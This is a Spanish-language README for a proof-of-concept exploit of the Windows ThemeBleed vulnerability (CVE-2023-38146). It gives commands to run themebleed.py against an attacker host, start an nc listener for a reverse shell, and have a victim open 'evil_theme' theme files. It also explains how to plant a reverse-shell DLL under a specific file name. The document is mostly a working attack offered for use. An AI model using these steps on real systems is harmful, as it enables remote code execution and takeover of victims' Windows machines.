
Better POC
Fuertemente inspirado por https://github.com/gabe-k/themebleed que solo funciona en Windows (la razón por la que decidí escribir esto).
Usé código modificado de impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
Material útil: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs
Publicación del blog: https://jnns.de/posts/cve-2023-38146-poc/
Instala los requisitos y ejecuta la aplicación:
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711
Usa el archivo "evil_theme.theme" o "evil_theme.themepack" en una máquina vulnerable.
¡Beneficio!
Coloca un DLL con una función exportada "VerifyThemeVersion" en la carpeta "./td/" llamado "Aero.msstyles_vrf_evil.dll". Deberías poder encontrar un DLL de ejemplo usando Google o usa mi ejemplo https://github.com/Jnnshschl/ThemeBleedReverseShellDLL.
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711